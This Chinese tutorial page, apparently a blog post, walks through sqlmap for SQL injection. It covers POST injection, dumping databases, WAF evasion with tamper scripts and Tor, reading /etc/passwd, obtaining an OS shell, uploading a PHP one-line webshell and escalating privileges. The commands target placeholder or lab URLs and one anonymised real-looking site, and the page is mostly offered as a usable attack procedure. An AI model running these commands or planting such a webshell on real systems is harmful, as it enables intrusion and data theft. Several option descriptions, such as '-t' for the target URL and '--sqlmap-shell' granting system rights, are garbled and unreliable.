SQL自动化注茹-SQLmap入门操作(二)

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
Web应用防火墙 3.0,每月20元额度 3个月
简介: SQL自动化注茹-SQLmap入门操作(二)

image.png

post方法自动注入

SQLMap是一款功能强大的自动化SQL注入工具,支持多种数据库和注入方式,其中包括POST注入。下面是使用SQLMap进行POST注入的步骤:

确认目标网站存在POST注入漏洞,可以使用Burp Suite等工具进行抓包分析。

打开命令行窗口,输入以下命令,指定目标URL和POST数据:

python sqlmap.py -u "http://example.com/login.php" --data "username=admin&password=123456" --method POST

其中,-u参数指定目标URL,–data参数指定POST数据,–method参数指定请求方法为POST。

SQLMap会自动检测目标是否存在注入漏洞,并列出所有检测到的注入点。

选择要测试的注入点,输入以下命令:

python sqlmap.py -u "http://example.com/login.php" --data "username=admin&password=123456" --method POST -p username --dbms mysql --level 2 --risk 2 --dbs

其中,-p参数指定要测试的注入点,–dbms参数指定目标数据库类型,–level参数指定测试等级,–risk参数指定测试风险,–dbs参数指定要获取的数据库列表。

SQLMap会自动测试注入点,获取数据库信息,并列出所有检测到的数据库。

选择要测试的数据库,输入以下命令:

python sqlmap.py -u "http://example.com/login.php" --data "username=admin&password=123456" --method POST -p username --dbms mysql --level 2 --risk 2 -D dbname --tables

其中,-D参数指定要测试的数据库名称,–tables参数指定要获取的数据表列表。

SQLMap会自动测试数据库,获取数据表信息,并列出所有检测到的数据表。

选择要测试的数据表,输入以下命令:

python sqlmap.py -u "http://example.com/login.php" --data "username=admin&password=123456" --method POST -p username --dbms mysql --level 2 --risk 2 -D dbname -T tablename --columns

其中,-T参数指定要测试的数据表名称,–columns参数指定要获取的数据列列表。

SQLMap会自动测试数据表,获取数据列信息,并列出所有检测到的数据列。

选择要测试的数据列,输入以下命令:

python sqlmap.py -u "http://example.com/login.php" --data "username=admin&password=123456" --method POST -p username --dbms mysql --level 2 --risk 2 -D dbname -T tablename -C columnname --dump

其中,-C参数指定要测试的数据列名称,–dump参数指定要获取的数据列内容。

SQLMap会自动测试数据列,获取数据列内容,并输出所有检测到的数据列内容。

高级扫描方案

image.png


细化扫描行为:

指定扫描参数,用于AWVS扫描出具体sql注入漏洞的参数,之后使用sqlmap进行利用,这样可以用节省大量扫描的时间:

-p xxx

例如:(指定扫描ho参数)

python sqlmap.py -u "http://xxx/m_new/pages/as/as_list.php?code=WGO&mac=''&dnotallow=''&ho=''&wpip=''&deip=''&lang=''" --risk=3 --level=5 --random-agent --dbs -p ho

设置代理访问,用于扫描国内代理无法到达的站点:

--proxy http://127.0.0.1:7890

例如:

python sqlmap.py -u "http://xxx/m_new/pages/as/as_list.php?code=WGO&mac=''&dnotallow=''&ho=''&wpip=''&deip=''&lang=''" --risk=3 --level=5 --random-agent --dbs -p ho --proxy http://127.0.0.1:7890

指定扫描的数据库,用于已知对方数据库类型的情况进行扫描:

--dbms=mysql

指定扫描使用的payload:(此处使用报错注入)

--technique E

拒绝重定向:

--ignore-redirects

指定扫描使用的语句:

--suffix  " and '1'='1"

绕过waf

solmap在默认情况下除了使用CHAR()函数防止出现单引号,没有对注入的数据进行修改。我们可以使用 --tape 参数对数据进行修改来绕过WAF等设备,其中的大部分脚本主要用正则模块替换公鸡载荷字符编码的方式尝试绕过WAF的检测规则。sqlmap目前官方提供53绕过脚本。

识别网站有无waf,可以使用kali里面的工具: wafwoof

如下的网站不存在waf:

image.png

sqlmap参数绕过:

#使用参数进行绕过
--random-agent    使用任意HTTP头进行绕过,尤其是在WAF配置不当的时候
--time-sec=3      使用长的延时来避免触发WAF的机制,这方式比较耗时
--hpp             使用HTTP 参数污染进行绕过,尤其是在ASP.NET/IIS 平台上
--proxy=100.100.100.100:8080 --proxy-cred=211:985      使用代理进行绕过
--ignore-proxy    禁止使用系统的代理,直接连接进行注入
--flush-session   清空会话,重构注入
--hex 或者 --no-cast     进行字符码转换
--mobile          对移动端的服务器进行注入
--tor             匿名注入
--tamper charencode 使用url编码绕过waf

指定脚本进行绕过 ( --tamper):

有些时候网站会过滤掉各种字符,可以用tamper来解决 (对付某些wa时也有成效sqlmap 官方提供了53个绕过脚本,脚本目录在 /usr/share/sglmap/tamper 中

image.png

指定单个脚本进行绕过:

sqlmap -u "http://xxx/Less-1/?id=1" --tamper=space2plus.py

指定多个脚本进行绕过:

sqlmap -u "http://xxx/Less-1/?id=1" --tamper="space2comment.py,space2plus.py"

探测等级和危险等级(-level -risk)

sqlmap一共有5个探测等级,默认是1,等级越高,说明探测时使用的payload也越多。其中5级的payload最多,会自动破jie出cookieXFF等头部注入。当然,等级越高,探测的时间也越慢。这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTPcookie 在level为2时就会测试,HTTP User-Agent/Referer 头在level为3时就会测试,在不确定哪个参数为注入点时,为了保证准确性,建议设置level为5

在不确定哪个参数为注入点时,这个是什么意思呢,也就是说你不确定这个网站的那个参数存在SQL注入漏洞,之前的探测payload我们都会在之前添加一个 ?id=1,代表我们已知了参数注入点

solmap一共有3个危险等级,也就是说你认为这个网站存在几级的危险等级,和探测等级一个意思,在不确定的情况下,建议设置为3级

如下,设置探测等级5,平台危险等级3,都是最高级别,进行扫描:

sqlmap -u "http://xxx:7777/Less-1/" --level=5 --risk=3

伪造 Http Referer头部

sqlmap可以在请求中伪造HTTP中的referer

例如,可以这样来伪造百度的referer头部

--referer  http://www.baidu.com

然后执行指定的sql语句(--sql-shell)

sqlmap -u "http://xxx/sqli/Less-1/?id=1" --sql-shell

然后会提示我们输入要查询的sql语句,注意这里的SQL语句最后不要有分号!!!

image.png

执行sql查询:

image.png

执行操作系统命令(-os-shell)

在数据库为MySQL、PostgreSql或者SQL Server时,可以通过sqlmap执行操作系统命令

当为MySQL数据库时,需满足下面条件:

当前用户为 root

知道网站根目录的绝对路径

sqlmap -u "http://xxx:7777/Less-1/?id=1" --os-shell

接下来让我们选择网站的脚本语言:

which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)

往下,接下来让我们判断网站可写目录的方法:

what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, /var/www/htdocs, /usr/local/apache2/htdocs, /usr/local/www/data, /var/apache2/htdocs, /var/www/nginx-default, /srv/www/htdocs, /usr/local/var/www') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
【1】使用公共的默认目录(C:/xampp/htdocs/,C:/wamp/www,C:/Inetpub/wwwroot/)
【2】自定义网络根目录绝对路径
【3】指定自定义的路径文件
【4】暴力破

执行os-shel的过程中,sqmap会向网站根目录写入两个文件 tmpblwkd.php 和 tmpueqch.php 。真正的木ma文件是 tmpblwkd.php 。如果是非正常退出sqlmap的话,这两个文件不会被删除。只有当我们输入或 q 退出 salmap 时,该文件才会被自动删除.

读取服务器文件(-file-read)

当数据库为MySQL、PostgreSQL或SQL Server,并且当前用户有权限时,可以读取指定文件,可以是文本文件或者二进制文件.

例如我们要读取目标服务器C盘的test.txt文件:

sqlmap -u "http://xxx/sqli/Less-4/?id=1" --file-read "c:/test.txt"

上传文件到数据库服务器中(-file-write -file-dest)

当数据库为MySQL、Postore SQL或者Sal Server通过powershel写入),并且当前用户有权限向任意目录写文件的时候,可以上传文件到数据库服务器。文件可以是文本,也可以是二进制文件

所以利用上传文件,我们可以上传一句话木ma或者上传shell上去前提是我们知道目标服务器的绝对路径

python2 sqlmap.py -u http://xxx/sqli-labs/Less-2/?id=1  
--file-write C:\Users\mi\Desktop\1.php  
--file-dest "C:\phpStudy\PHPTutorial\WWW\2.php"  
#将本地的C:\Users\mi\Desktop\1.php文件上传到目标服务器C:\phpStudy\PHPTutorial\WWW\2.php

知识拓扑

带参数注入

SQLmap是一款自动化的SQL注入工具,可以用于检测和利用Web应用程序中的SQL注入漏洞。下面是SQLmap带参数注入的演示:

假设我们有一个目标URL为:http://example.com/index.php?id=1,其中id参数存在注入漏洞。我们可以使用以下命令来检测和利用该漏洞:

sqlmap -u "http://example.com/index.php?id=1" --level=5 --risk=3

其中,-u参数指定目标URL,–level和–risk参数分别指定注入测试的等级和风险级别。这里我们将等级设置为5,风险级别设置为3,以提高注入测试的准确性和效率。

如果SQLmap检测到注入漏洞,它将提示你是否要继续测试和利用该漏洞。如果你选择继续,SQLmap将自动检测数据库类型、获取数据库信息、枚举数据库表和列、获取数据等操作。

image.png

混淆注入

SQLmap支持多种注入技术和多种数据库管理系统,可以通过使用不同的tamper脚本来混淆注入。下面是一个使用tamper脚本混淆注入的例子:

python sqlmap.py -u "http://example.com/index.php?id=1" --tamper=space2comment --level=5 --risk=3

上面的命令将使用space2comment tamper脚本来混淆注入,同时将检测等级设置为5,风险等级设置为3

可以在报文头部改变随机浏览器和支持模拟手机浏览器访问

image.png

代理注入

SQLmap代理注入可以通过指定user-agent和使用代理服务器来实现。以下是SQLmap代理注入的步骤:

1.使用-p参数指定要注入的参数,并使用–user-agent参数指定user-agent,例如:

sqlmap -u "http://example.com/index.php?id=1" -p "id" -v 2 -p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)"

2.使用–proxy参数指定代理服务器,例如:

sqlmap -u "http://example.com/index.php?id=1" -p "id" -v 2 --proxy "http://127.0.0.1:8080"

其中,127.0.0.1:8080是代理服务器的地址和端口号。

请注意,使用代理服务器可能会导致SQL注入公鸡被检测到,因此请谨慎使用

image.png

高级注入

SQLmap是一款自动化SQL注入工具,可以用于检测和利用SQL注入漏洞。以下是SQLmap高级注入的一些技巧和方法:

使用代理进行注入:使用–proxy参数指定代理服务器,例如–proxy=http://127.0.0.1:8080。

使用-t参数指定目标URL:例如-t http://example.com/index.php?id=1

使用–level和–risk参数指定注入等级和风险等级:例如–level=5 --risk=3。

使用–dbs参数获取数据库名称:例如–dbs。

使用–tables参数获取数据库中的表名:例如–tables -D dbname。

使用–columns参数获取表中的列名:例如–columns -D dbname -T tablename。

使用–dump参数获取表中的数据:例如–dump -D dbname -T tablename。

使用–os-shell参数获取操作系统的shell:例如–os-shell。

使用–sql-shell参数获取SQL shell:例如–sql-shell。

使用–file-read参数读取文件内容:例如–file-read=/etc/passwd。

使用–file-write参数写入文件内容:例如–file-write=/var/www/html/shell.php --payload=“<?php system($_GET[‘cmd’]); ?>”。

使用–tamper参数绕过WAF:例如–tamper=space2comment。

image.png

数据获取

说明

image.png

语法

image.png

SQLmap是一款自动化SQL注入工具,可以用于获取目标网站的数据库信息。使用SQLmap获取数据的步骤如下:

确定目标网站存在SQL注入漏洞,并使用SQLmap进行检测。例如,使用以下命令检测目标网站是否存在注入漏洞:

sqlmap -u "http://www.example.com/index.php?id=1" --dbs

其中,-u参数指定目标URL,--dbs参数表示获取数据库信息。

如果目标网站存在注入漏洞,则使用SQLmap获取数据库信息。例如,使用以下命令获取目标网站的所有数据库:

sqlmap -u "http://www.example.com/index.php?id=1" --dbs

使用以下命令获取指定数据库的所有表:

sqlmap -u "http://www.example.com/index.php?id=1" -D dbname --tables

使用以下命令获取指定表的所有列:

sqlmap -u "http://www.example.com/index.php?id=1" -D dbname -T tablename --columns

使用以下命令获取指定列的所有数据:

sqlmap -u "http://www.example.com/index.php?id=1" -D dbname -T tablename -C columnname --dump

其中,-D参数指定数据库名称,-T参数指定表名称,-C参数指定列名称,--dump参数表示获取数据。

举例

image.png

image.png

image.png

提权操作

文件读写

image.png

根据提供的引用内容,SQLmap提权是指通过利用SQL注入漏洞,获取目标系统的权限。具体来说,可以通过以下两种方式进行提权:

1.使用–os-shell参数获取交互式shell,从而执行系统命令,获取系统权限。

2.使用–sqlmap-shell参数获取SQLmap自带的交互式shell,从而执行SQLmap命令,获取系统权限。

下面是两种方式的具体操作步骤:

1.使用–os-shell参数获取交互式shell

python sqlmap.py -u "http://www.example.com/vuln.php?id=1" --os-shell

上述命令中,-u参数指定了目标URL,–os-shell参数表示获取交互式shell。执行该命令后,SQLmap会尝试利用注入漏洞获取系统权限,并打开一个交互式shell,可以在其中执行系统命令。

2.使用–sqlmap-shell参数获取SQLmap自带的交互式shell

python sqlmap.py -u "http://www.example.com/vuln.php?id=1" --sqlmap-shell

上述命令中,-u参数指定了目标URL,–sqlmap-shell参数表示获取SQLmap自带的交互式shell。执行该命令后,SQLmap会尝试利用注入漏洞获取系统权限,并打开一个交互式shell,可以在其中执行SQLmap命令。

举例

image.png

与数据库交互

SQLmap是一款自动化SQL注入工具,可以用于检测和利用SQL注入漏洞。它可以与多种数据库进行交互,包括MySQL,Oracle,PostgreSQL等。下面是SQLmap与MySQL数据库交互的示例:

1.首先,使用以下命令启动SQLmap:

sqlmap -u "http://example.com/page.php?id=1" --dbs

其中,-u选项指定了目标URL,–dbs选项告诉SQLmap列出所有可用的数据库。

2.接下来,使用以下命令指定要使用的数据库:

sqlmap -u "http://example.com/page.php?id=1" -D dbname --tables

其中,-D选项指定了要使用的数据库名称,–tables选项告诉SQLmap列出所有可用的表。

3.然后,使用以下命令指定要使用的表:

sqlmap -u "http://example.com/page.php?id=1" -D dbname -T tablename --columns

其中,-T选项指定了要使用的表名称,–columns选项告诉SQLmap列出所有可用的列。

4.最后,使用以下命令指定要使用的列:

sqlmap -u "http://example.com/page.php?id=1" -D dbname -T tablename -C columnname --dump

其中,-C选项指定了要使用的列名称,–dump选项告诉SQLmap从该列中提取数据。

image.png

image.png

image.png

与操作系统交互


image.png

与metaspolit交互

image.png




相关文章
|
1月前
|
测试技术 持续交付 开发者
探索自动化测试的无限可能:从入门到精通
在软件开发领域,确保产品质量是至关重要的。自动化测试作为一种高效、可靠的测试方法,正逐渐成为行业标准。本文将带你深入了解自动化测试的世界,从基础概念到实践技巧,帮助你掌握这一强大的工具。无论你是初学者还是有经验的开发者,都能从中获得宝贵的知识和启发。
|
13天前
|
Java 测试技术 持续交付
【入门思路】基于Python+Unittest+Appium+Excel+BeautifulReport的App/移动端UI自动化测试框架搭建思路
本文重点讲解如何搭建App自动化测试框架的思路,而非完整源码。主要内容包括实现目的、框架设计、环境依赖和框架的主要组成部分。适用于初学者,旨在帮助其快速掌握App自动化测试的基本技能。文中详细介绍了从需求分析到技术栈选择,再到具体模块的封装与实现,包括登录、截图、日志、测试报告和邮件服务等。同时提供了运行效果的展示,便于理解和实践。
51 4
【入门思路】基于Python+Unittest+Appium+Excel+BeautifulReport的App/移动端UI自动化测试框架搭建思路
|
9天前
|
Java 测试技术 Android开发
探索自动化测试的奥秘:从入门到精通
【10月更文挑战第37天】本文将带你进入自动化测试的世界,从基础知识到实战案例,逐步揭示自动化测试的神秘面纱。我们将一起探讨如何利用代码来简化测试过程,提高效率,并确保软件质量。无论你是初学者还是有经验的开发者,这篇文章都能为你提供有价值的见解和技巧。让我们一起踏上这段探索之旅吧!
|
15天前
|
运维 负载均衡 Ubuntu
自动化运维的利器:Ansible入门与实践
【10月更文挑战第31天】在当今快速发展的信息技术时代,高效的运维管理成为企业稳定运行的关键。本文将引导读者了解自动化运维工具Ansible的基础概念、安装步骤、基本使用,以及如何通过实际案例掌握其核心功能,从而提升工作效率和系统稳定性。
|
25天前
|
运维 应用服务中间件 持续交付
自动化运维的利器:Ansible入门与实践
【10月更文挑战第21天】在现代IT基础设施的管理中,自动化运维已成为提升效率、降低错误率的关键。Ansible,作为一种简单而强大的自动化工具,正被广泛应用于配置管理、应用部署和任务自动化等领域。本文将引导你了解Ansible的基本概念,通过实际案例展示如何利用Ansible简化日常运维工作,并探讨其在现代IT运维中的应用价值。无论你是新手还是有经验的系统管理员,这篇文章都将为你开启Ansible的高效之旅提供指导。
|
1月前
|
SQL 存储 数据管理
SQL数据库的使用指南:从入门到精通
随着信息技术的飞速发展,数据库已成为各类企业和组织不可或缺的一部分。作为最流行的数据库管理系统之一,SQL数据库广泛应用于各种场景,如数据存储、数据管理、数据分析等。本文将详细介绍SQL数据库的使用方法,帮助初学者快速入门,并帮助有经验的开发者深化理解。一、SQL数据库基础首先,我们需要理解SQL数
113 2
|
27天前
|
SQL 数据库
SQL数据库基础语法入门
[link](http://www.vvo.net.cn/post/082935.html)
|
2月前
|
运维 应用服务中间件 持续交付
自动化运维的利器:Ansible入门与实践
【9月更文挑战第28天】在追求高效、稳定的IT运维时代,自动化工具Ansible凭借其简洁性、易用性和强大的功能脱颖而出。本文旨在通过实际案例引导读者理解Ansible的核心概念和操作流程,并分享如何通过Ansible简化日常运维任务,提升工作效率。从基础安装到高级应用,我们将一步步揭开Ansible的神秘面纱,让初学者也能轻松掌握自动化运维的要诀。
|
2月前
|
运维 关系型数据库 MySQL
自动化运维工具:Ansible入门与实践
【9月更文挑战第23天】本文将带你进入自动化运维的世界,以Ansible为例,从基础概念到实际操作,让你轻松掌握自动化运维技能。我们将一起探索如何通过代码实现批量部署、配置管理和任务执行等功能,提高运维效率,减轻工作压力。让我们一起开启自动化运维之旅吧!
|
1月前
|
Web App开发 Java 测试技术
一、自动化:web自动化。Selenium 入门指南:从安装到实践
一、自动化:web自动化。Selenium 入门指南:从安装到实践
42 0